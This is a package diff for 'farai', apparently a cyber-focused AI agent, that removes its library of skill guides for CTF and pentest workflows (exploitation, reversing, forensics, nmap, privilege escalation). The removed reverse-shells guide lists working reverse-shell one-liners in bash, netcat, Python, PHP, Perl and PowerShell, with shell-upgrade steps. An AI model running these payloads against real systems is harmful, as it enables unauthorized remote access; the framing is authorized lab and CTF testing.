farai 0.2.7 → 0.2.9

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "farai",
-  "version": "0.2.7",
+  "version": "0.2.9",
   "private": false,
   "type": "module",
   "description": "Cyber-first freestyle local AI agent",
@@ -30,7 +30,6 @@
   "files": [
     "dist/",
     "docker/kali/",
-    "src/agent-skills/library/",
     "LICENSE",
     "README.md",
     "package.json"

package/src/agent-skills/library/binary-exploitation/SKILL.md

@@ -1,26 +0,0 @@
----
-name: binary-exploitation
-description: "Workflow for pwn and memory-corruption challenges: interface discovery, mitigations, crash triage, primitive construction, local exploit validation, and remote adaptation. Use for buffer overflows, format strings, heap bugs, ROP, shellcode, race exploitation, or exploit development against a supplied binary/service."
----
-
-# binary exploitation
-
-build and validate one exploitation primitive at a time.
-
-1. identify architecture, mitigations, linkage, libc/loader information, protocol or menu behavior, and how input reaches the process.
-2. reproduce a controlled failure locally. determine the exact offset and root cause before building a payload around it.
-3. name the primitive you have and the next primitive required: instruction-pointer control, leak, arbitrary read/write, allocation control, stack pivot, or code execution.
-4. construct the smallest payload that proves each transition. inspect registers, memory, stack alignment, bad bytes, and process state rather than inferring success from a disconnect.
-5. script the interaction early enough to make attempts deterministic, but keep payload stages observable while debugging.
-6. only after the local path is stable, account for remote differences such as libc, loader, ASLR, buffering, timing, file descriptors, and network framing.
-
-## recovery
-
-- inconsistent offset: verify the exact input path, newline handling, encoding, and crash context.
-- gadget or address failure: re-check architecture, module base, PIE, stack alignment, and bad bytes.
-- local success but remote failure: preserve the local proof, then isolate one environmental difference at a time.
-- no obvious memory bug: return to input boundaries and state transitions; do not force a ROP approach onto a logic or crypto challenge.
-
-## completion
-
-confirm the requested effect through process behavior or recovered output. a crash, probable gadget chain, or unexplained connection close is not proof of exploitation.

package/src/agent-skills/library/binary-reversing/SKILL.md

@@ -1,24 +0,0 @@
----
-name: binary-reversing
-description: Workflow for understanding native, managed, Go, Rust, JVM, Android, firmware, or obfuscated binaries and recovering hidden logic or data. Use for reverse-engineering challenges, crackmes, malware logic, decompilation, key/flag recovery, or when source is unavailable; pair with binary-exploitation only when memory corruption is the objective.
----
-
-# binary reversing
-
-move from cheap structural facts to the smallest control-flow slice that answers the objective.
-
-1. identify format, architecture, linkage, symbols, protections, runtime, imports, sections, and obvious embedded artifacts. record facts before interpreting them.
-2. run the program with bounded, representative inputs when safe and useful. observe files, arguments, environment, stdout/stderr, and system interactions instead of guessing its interface from strings alone.
-3. locate the success, comparison, decryption, parsing, or output path. work backward through callers and data references; avoid decompiling the entire binary without a question.
-4. reconcile decompiler output with disassembly or runtime state whenever types, compiler optimizations, obfuscation, or stripped symbols make the pseudocode ambiguous.
-5. extract constants and encode the recovered transformation in a small script. validate it against known program behavior or by round-tripping an input.
-
-## runtime-aware guidance
-
-- Go/Rust/managed binaries often retain metadata that is more useful than generic string scraping; use runtime-aware symbols and metadata before treating the file as ordinary stripped native code.
-- packed or self-modifying code may require observing the unpacked memory image before static analysis becomes meaningful.
-- when execution is silent, inspect exit status and side effects and trace the relevant path; do not repeatedly rerun with random input.
-
-## completion
-
-the result is complete when the recovered logic or data is independently reproduced, not when a likely function or interesting string has merely been identified.

package/src/agent-skills/library/crypto-solving/SKILL.md

@@ -1,24 +0,0 @@
----
-name: crypto-solving
-description: "Workflow for cryptography challenges and custom encoding: formalize the construction, identify exploitable structure, implement attacks, and validate recovered plaintext or keys. Use for classical ciphers, RSA/ECC mistakes, symmetric misuse, PRNG attacks, hashes/MACs, secret sharing, lattice-style tasks, or layered encodings."
----
-
-# crypto solving
-
-model the exact construction before choosing an attack.
-
-1. extract all known values, unknowns, equations, encodings, lengths, randomness assumptions, and attacker capabilities from source and output. preserve byte-versus-text and endian boundaries.
-2. identify the primitive and the implementation weakness separately. the name of a cipher does not establish the vulnerability.
-3. test the simplest structural explanation first: classical transformation, reused nonce/keystream, weak randomness, small parameter, oracle, algebraic relation, truncation, or encoding confusion.
-4. create a small script that reproduces the known output before using it to recover unknown values. validate intermediate equations on toy or supplied samples.
-5. use brute force only after bounding the search space and exploiting every available constraint. report the actual tested space and stopping condition.
-
-## recovery
-
-- plausible but unreadable plaintext: re-check alphabet, offsets, block boundaries, padding, endian order, and whether another encoding layer remains.
-- attack almost works: compare the implementation line by line with the mathematical assumption; challenge code often differs from the standard primitive in one decisive detail.
-- multiple candidates: use format-independent constraints or re-encryption, not an assumed flag prefix alone, to select the answer.
-
-## completion
-
-validate recovered plaintext, key material, or forged output by reversing the construction, re-encrypting, or satisfying the challenge verifier whenever possible.

package/src/agent-skills/library/ctf-solving/SKILL.md

@@ -1,27 +0,0 @@
----
-name: ctf-solving
-description: End-to-end workflow for solving CTF challenges and benchmark tasks across web, crypto, pwn, reversing, forensics, and misc. Use when the user asks to solve a challenge, recover a flag, or continue a stalled challenge run; combine it with one domain skill when the category is known.
----
-
-# ctf solving
-
-drive the challenge to a validated answer, not merely an analysis report.
-
-1. identify the exact objective, supplied artifacts, reachable targets, constraints, and current working directory. verify that required files or services are actually accessible before analyzing them.
-2. classify the dominant domain from evidence, then load at most the relevant specialist skill. a mixed challenge may change domains later; do not preload every playbook.
-3. establish one concrete hypothesis and run the cheapest discriminating test. preserve useful artifacts, commands, decoded values, offsets, endpoints, and credentials as the solve progresses.
-4. when a path fails, explain what the result ruled out and change the method. do not spend the run repeating filesystem searches, scanners, decoders, or equivalent payload variants.
-5. automate repetitive transformations or interaction once the manual primitive is understood. keep scripts in the workspace when they are part of the reproducible solve.
-6. continue past reconnaissance and partial reverse engineering until the requested objective is reached or a specific missing dependency blocks progress.
-
-## completion
-
-- validate the answer against the challenge behavior or available oracle when possible.
-- do not assume a fixed flag prefix or format.
-- report the answer first, then the shortest reproducible explanation and any remaining uncertainty.
-
-## recovery
-
-- missing artifact: verify the manifest, workspace mapping, archive contents, and target lifecycle once; report the exact missing input instead of searching the entire system repeatedly.
-- insufficient tooling: use an available Kali alternative or write a focused parser/script rather than stopping at a tool name.
-- remote/local mismatch: compare architecture, libc, protocol, timing, and paths; preserve the working local primitive before adapting it.

package/src/agent-skills/library/digital-forensics/SKILL.md

@@ -1,24 +0,0 @@
----
-name: digital-forensics
-description: Evidence-preserving workflow for disk, filesystem, memory, archive, document, image, log, browser, and metadata forensics. Use when the task asks what happened, who acted, when an event occurred, or to recover deleted/hidden content from supplied artifacts; use packet-analysis for capture-centric evidence.
----
-
-# digital forensics
-
-preserve provenance while reducing a large artifact set to evidence relevant to the question.
-
-1. inventory supplied artifacts, container/archive layers, sizes, timestamps, types, and hashes. work from copies or extracted views when an operation may alter metadata.
-2. translate the user question into evidence categories and a timeline: identities, execution, persistence, access, deletion, transfer, or hidden content.
-3. inspect high-signal metadata and indexes before broad carving or string searches. correlate independent sources rather than trusting one timestamp or parser.
-4. recover embedded, deleted, encoded, or renamed content with format-aware tools. verify recovered object types and relationships to the parent artifact.
-5. keep observed timestamps, normalized time zones, inferred ordering, and uncertain clock assumptions separate.
-
-## recovery
-
-- parser failure: verify file signatures, truncation, compression, encryption, and tool support; use an alternate parser or inspect the structure directly.
-- no result from a keyword search: broaden through metadata, encodings, alternate names, and timeline neighbors rather than repeating the same strings command.
-- conflicting timestamps: identify each timestamp's semantics and corroborate with logs or adjacent events.
-
-## completion
-
-answer the forensic question with a traceable artifact or correlation. absence from one parser or index is not proof that evidence never existed.

package/src/agent-skills/library/ffuf/SKILL.md

@@ -1,23 +0,0 @@
----
-name: ffuf
-description: Wordlist strategy, soft-404 filtering, and failure recovery for directory/file fuzzing via the dir_enum tool (ffuf-backed). Use this whenever the user wants to enumerate hidden directories/files/endpoints on a web target, or mentions ffuf, gobuster, or fuzzing.
----
-
-# directory enumeration
-
-use `dir_enum` for the common URL + wordlist case. use `shell_exec` with `ffuf` only when advanced matchers, filters, recursion, headers, methods, or multiple fuzz positions are required.
-
-useful defaults:
-- Filter noisy 200s from a catch-all page: match by size/words rather than status when the
-  target returns 200 for everything (soft-404) — compare a known-bad path's response size first.
-- Start with a small, common wordlist (common.txt / raft-small) before escalating to a large one —
-  most useful hits show up early; a huge wordlist mostly adds noise and runtime.
-- Add file extensions relevant to the stack once identified (`.php`, `.aspx`, `.bak`, `.json`)
-  rather than fuzzing extensions blindly from the start.
-- Recurse only into directories that returned a real (not soft-404) response.
-
-## failure recovery
-- All-200 responses with identical body size → soft-404 page; filter by size (`-fs <bytes>`) or
-  by matching a known regex instead of status code.
-- No hits at all → verify the FUZZ position/URL is actually correct with one manual request first,
-  and confirm the target isn't returning a WAF block page for every request (check response size).

package/src/agent-skills/library/nmap/SKILL.md

@@ -1,30 +0,0 @@
----
-name: nmap
-description: Nmap CLI syntax, safe two-pass scan patterns, and failure recovery (filtered ports, timeouts) for the nmap_scan tool. Use this whenever the user asks to port-scan, enumerate services, or check what's open on a target, even before they mention nmap by name.
----
-
-# nmap
-
-use `port_scan` for the standard `-Pn -sV -sC` scan. use `shell_exec` with `nmap` when the task needs explicit ports, scan types, scripts, timing, UDP, or a deliberate two-pass workflow.
-
-high-signal flags:
-- `-n` skip DNS resolution
-- `-Pn` skip host discovery when ICMP/ping is filtered (common in lab/VPN targets)
-- `-sS` SYN scan (needs privilege); `-sT` TCP connect scan (no raw-socket privilege needed)
-- `-sV` service/version detection; `-sC` default NSE scripts
-- `-p <ports>` explicit ports, `-p-` for all 65535 (slow — avoid unless required)
-- `--top-ports <n>` quick common-port sweep
-- `--open` show only hosts/ports that are open
-- `-T4` reasonable speed for lab targets
-- `--max-retries 1 --host-timeout 90s` bound worst-case runtime
-
-## two-pass workflow
-1. Fast discovery pass: `nmap -n -Pn --top-ports 100 --open -T4 --max-retries 1 --host-timeout 90s <target>`
-2. Enrichment pass on discovered ports only: `nmap -n -Pn -sV -sC -p <comma_ports> --script-timeout 30s --host-timeout 3m <target>`
-
-## failure recovery
-- Host looks down unexpectedly → add `-Pn` (many lab/CTF targets block ICMP).
-- Scan stalls or times out → tighten `-p`/`--top-ports` and lower `--max-retries`.
-- A "filtered" result that you expect to be open may be transient (target-side rate limiting from
-  prior scan/exploit traffic, or a momentary VPN blip) — a single retry a few seconds later is
-  reasonable before concluding the port is genuinely filtered.

package/src/agent-skills/library/packet-analysis/SKILL.md

@@ -1,24 +0,0 @@
----
-name: packet-analysis
-description: Workflow for PCAP, PCAPNG, network-forensics, protocol-reassembly, malware traffic, and encrypted C2 challenges. Use when packet captures or recorded network streams are primary evidence; combine with binary-reversing when an extracted executable defines encoding or encryption.
----
-
-# packet analysis
-
-turn the capture into a timeline of conversations, artifacts, and transformations.
-
-1. preserve the original capture and record its basic properties. inventory endpoints, protocols, ports, conversations, packet counts, durations, and obvious anomalies before applying narrow filters.
-2. build a timeline around the objective. identify which stream contains setup, authentication, delivery, command/control, exfiltration, or the final answer.
-3. reassemble application streams and extract transferred objects with protocol-aware tools when possible. verify extracted file type and hash before analysis.
-4. distinguish capture bytes from dissector interpretation. inspect raw stream bytes when framing, retransmission, encoding, or a custom protocol makes decoded fields misleading.
-5. if content is encoded or encrypted, locate keys and transformations in associated binaries, scripts, configuration, handshakes, or repeated structure; then implement a reproducible decoder.
-
-## recovery
-
-- no useful high-level decode: follow individual streams, inspect raw payloads, and infer framing from direction and length.
-- apparent missing data: check packet loss, truncation, out-of-order segments, retransmissions, alternate channels, and archive contents before concluding absence.
-- too much traffic: rank conversations by timing, volume, protocol, and relationship to the known event instead of applying random display filters.
-
-## completion
-
-support the answer with the relevant stream, extracted artifact, timeline, or decoder output. protocol labels and suspicious traffic alone are not the conclusion.

package/src/agent-skills/library/payload-protocol-crafting/SKILL.md

@@ -1,26 +0,0 @@
----
-name: payload-protocol-crafting
-description: Bottom-up methodology for crafting exploits against custom, legacy, or undocumented network protocols (read the spec, build a minimal reproducer, add the injection point last). Use this whenever the target speaks something other than plain HTTP -- a custom TCP protocol, a legacy service like LPD, or any case involving raw sockets, handshakes, or command injection into a non-HTTP protocol.
----
-
-# custom protocol payloads
-
-When a target service speaks something other than plain HTTP (a legacy or custom TCP protocol,
-e.g. LPD, a proprietary binary protocol, etc.), trial-and-error against the full exploit is slow
-and confusing. Work bottom-up instead:
-
-1. **read the spec first.** look up the RFC or protocol documentation (`internet_search`, `internet_fetch`, or `http_request`)
-   before writing any code — legacy protocols usually have a short, precise spec (e.g. RFC 1179
-   for LPD) that tells you the exact byte sequence/framing expected, far faster than guessing.
-2. **build the smallest possible reproducer.** write a minimal script that performs just the
-   protocol handshake/framing and confirms the target responds as expected — no injected payload
-   yet. Validate this piece works byte-for-byte before adding anything else.
-3. **add the injection point once framing is confirmed.** only after step 2 works reliably,
-   insert the actual command-injection/shell payload into the appropriate protocol field.
-4. **iterate on the smallest unit that failed**, not the whole exploit. if step 3 doesn't work,
-   go back to isolating exactly which part is wrong (framing vs. payload vs. escaping) rather than
-   rewriting the entire script and re-running end-to-end each time — that's what turns a
-   straightforward exploit into many confused iterations.
-5. **prefer `shell_exec` for the throwaway reproducer scripts** (fast iteration, inspect raw
-   output immediately) and only wrap the validated logic into a saved script via
-   `code_write_script` once it's confirmed working.

package/src/agent-skills/library/privilege-escalation/SKILL.md

@@ -1,24 +0,0 @@
----
-name: privilege-escalation
-description: Targeted local privilege-escalation and post-exploitation workflow for Linux, Windows, containers, and directory-backed hosts. Use after an authorized foothold when the objective requires a higher-privileged identity, secrets, lateral context, or proof of administrative/root access.
----
-
-# privilege escalation
-
-prioritize paths supported by the current host context instead of dumping every enumeration check.
-
-1. establish the current identity, groups, privileges, host/container boundary, operating system, architecture, domain context, writable locations, and available execution channel.
-2. enumerate high-signal surfaces: delegated privileges, service/task configuration, credentials and tokens, writable execution paths, capabilities, mounts, sockets, containers, kernel/version constraints, and application secrets.
-3. rank candidates by evidence, prerequisites, reliability, and reversibility. inspect the exact configuration or file before trying an exploit.
-4. prove the next privilege boundary with the smallest controlled action. verify the resulting identity and execution context rather than assuming success from command output alone.
-5. preserve useful credentials, paths, and failed hypotheses so later attempts do not repeat the same checks.
-
-## recovery
-
-- automated enumerator noise: return to the underlying permission, owner, service, token, or version and verify it manually.
-- exploit mismatch: confirm kernel/build, architecture, mitigations, namespace, and required primitives before changing payloads.
-- apparent root inside a container: determine whether the objective concerns container root or the host boundary and prove the actual context.
-
-## completion
-
-show the requested privileged effect and current identity. a suspicious permission, public exploit match, or writable file is a candidate path, not completed escalation.

package/src/agent-skills/library/reverse-shells/SKILL.md

@@ -1,54 +0,0 @@
----
-name: reverse-shells
-description: Payload variants and delivery gotchas for reverse/bind shells (bash, netcat, python, PHP, perl, PowerShell), TTY upgrade after landing a shell, and how to avoid false-positive auto-backgrounding when writing exploit scripts via heredoc. Use this whenever the user asks to get a shell on a target, mentions callback_listen, reverse shell, revshell, bind shell, netcat, or payload delivery -- even if they don't say the word "skill."
----
-
-# reverse shells
-
-## getting lhost/lport right
-Always call `callback_host_info` first to get the real host-reachable LHOST (VPN/tun interface),
-then `callback_listen(port=...)`. Never infer LHOST by guessing from inside the Kali container —
-the container has its own network namespace and cannot see the host's VPN interfaces.
-
-## payload variants
-- Bash (most common, no extra binary needed): `bash -i >& /dev/tcp/LHOST/LPORT 0>&1`
-- Bash without `/dev/tcp` (restricted shells): `0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196`
-- Netcat with `-e` (if target nc supports it): `nc -e /bin/sh LHOST LPORT`
-- Netcat without `-e` (mkfifo trick): `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f`
-- Python3: `python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'`
-- PHP: `php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'`
-- Perl: `perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
-- PowerShell (Windows targets): `powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`
-
-## delivering payloads without false background detection
-If you write a script to disk via a heredoc (`cat << 'EOF' > file.py`) and the payload text
-inside the heredoc body contains phrases like `bash -i` or `/dev/tcp/`, that is literal text
-being written to a file — it is NOT itself launching an interactive session, so it should not
-be treated as one. Only the actual invocation line that *executes* the file afterward
-(e.g. `python3 file.py`) is the real interactive/background command.
-
-## tty upgrade after landing a shell
-A raw netcat/bash reverse shell has no real TTY — no job control, no tab completion, ctrl-C kills
-the whole shell. Upgrade with:
-```
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-then background it (Ctrl-Z), on your side run `stty raw -echo; fg`, then in the shell:
-```
-export TERM=xterm
-stty rows <rows> columns <columns>
-```
-
-## reading session_poll output correctly
-Sessions of kind `reverse_shell`/`shell` carry a hint line prepended to `output` indicating
-whether a shell prompt was detected (ready for the next command) or not. If no prompt is
-detected yet, wait and poll again rather than sending another command blind — commands sent
-before the target shell is ready can get silently interleaved with the previous command's
-output and produce confusing, doubled results.
-
-## callback listener versus interactive process
-- `callback_listen` is for catching an *inbound* connection from the target (classic reverse shell)
-  on the host network.
-- `shell_exec` with an interactive command (auto-backgrounded, kind `shell`) is for driving an
-  *outbound* interactive process yourself inside the container (e.g. `ssh`, `mysql`, `python3` REPL) —
-  no listener involved, runs fully inside the sandbox.

package/src/agent-skills/library/searchsploit/SKILL.md

@@ -1,18 +0,0 @@
----
-name: searchsploit
-description: How to search for and validate public exploits with the exploit_search tool (searchsploit-backed) before running them against a target. Use this whenever the user asks to find a known/public exploit, mentions a CVE, exploit-db, or a specific vulnerable service version.
----
-
-# exploit search
-
-- Search by exact product + version string first (e.g. `"vsftpd 2.3.4"`), then broaden if no hit
-  (drop the version, then drop to just the product name).
-- A search hit is a *candidate*, not a confirmed working exploit — always read the exploit source
-  with `shell_exec` inside Kali (for example `searchsploit -x <id>` or the reported container path) before running it,
-  to understand exactly what it does and whether it matches the target's actual configuration.
-- Prefer the smallest, most targeted PoC over a fully-weaponized Metasploit module when you just
-  need to confirm a vulnerability exists — easier to reason about and adapt if it doesn't work
-  out of the box.
-- If no local exploit-db entry matches, fall back to `internet_search`/`internet_fetch` for the CVE/product
-  name — public writeups often show the exact working payload for CTF-style intentionally
-  vulnerable services (which are frequently older/unpatched versions on purpose).

package/src/agent-skills/library/source-security-review/SKILL.md

@@ -1,25 +0,0 @@
----
-name: source-security-review
-description: Evidence-driven security review of application source, infrastructure code, scripts, and patches. Use when asked to audit a repository, find exploitable vulnerabilities, review security behavior, or validate a fix; do not use for general style review without a security objective.
----
-
-# source security review
-
-trace attacker-controlled data and trust decisions through real code paths.
-
-1. identify entry points, deployment/runtime assumptions, authentication and authorization boundaries, sensitive assets, parsers, interpreters, storage, network egress, and privileged operations.
-2. map external input to security-sensitive sinks while accounting for validation, normalization, encoding, framework behavior, and configuration between them.
-3. inspect callers and downstream consumers before declaring a local pattern vulnerable. determine whether the path is reachable with the attacker's actual identity and control.
-4. rank findings by demonstrated impact and realistic prerequisites. use focused tests or a minimal reproducer when execution is available.
-5. for a proposed fix, test the vulnerable path, intended behavior, alternate encodings or routes, and regression boundary; do not accept a guard that protects only one caller.
-
-## evidence standard
-
-- separate confirmed findings from hardening ideas and unverified concerns.
-- cite the exact function, configuration, or data flow that creates the issue.
-- do not report dependency names, dangerous APIs, missing headers, or scanner matches as vulnerabilities without reachable impact in this project.
-- describe remediation at the correct boundary: fix the invariant or trust decision, not only the sample payload.
-
-## completion
-
-return findings ordered by severity with concise reproduction, impact, and remediation. if no confirmed issue is found, say so and identify the remaining untested surfaces.

package/src/agent-skills/library/web-assessment/SKILL.md

@@ -1,28 +0,0 @@
----
-name: web-assessment
-description: Adaptive workflow for testing web applications and APIs with browser contexts, the managed proxy, HTTP requests, and Kali tools. Use for web CTFs, authenticated application testing, API assessment, session/authorization flaws, injection, upload, SSRF, or client/server behavior; do not use for passive subdomain discovery alone.
----
-
-# web assessment
-
-build a faithful model of application behavior, then test focused hypotheses.
-
-1. use the browser for rendered state, navigation, forms, JavaScript behavior, and distinct identities. create named browser contexts when roles or sessions must remain isolated.
-2. use proxy flows and the sitemap to recover exact requests, parameters, cookies, redirects, and background API traffic. use `http_request` or proxy replay when precise, repeatable request control is more useful than UI interaction.
-3. map trust boundaries: unauthenticated versus authenticated, user versus user, client-controlled versus server-derived, and edge/CDN behavior versus application behavior.
-4. change one meaningful variable at a time. compare status, headers, body semantics, timing, and durable state rather than relying on one anomalous response.
-5. validate a candidate issue with the smallest reproducible proof that demonstrates the claimed effect. save the decisive request/response or browser evidence before claiming impact.
-
-## decision rules
-
-- treat automated findings and technology fingerprints as leads.
-- do not duplicate every browser request with raw HTTP; switch interfaces when it improves control or observation.
-- for authorization testing, compare equivalent operations across isolated identities and confirm server-side data or action differences.
-- for injection, first prove control of the relevant parser or sink, then establish impact.
-- never turn Cloudflare, WAF, cache, or generic edge behavior into an origin vulnerability without origin-specific evidence.
-
-## recovery
-
-- unstable or blocked automation: inspect proxy/network evidence, retry only after changing context, timing, or request shape.
-- unclear endpoint behavior: return to the exact browser-generated request and minimize it.
-- noisy enumeration: establish the not-found baseline and filter by meaningful response differences before widening the wordlist.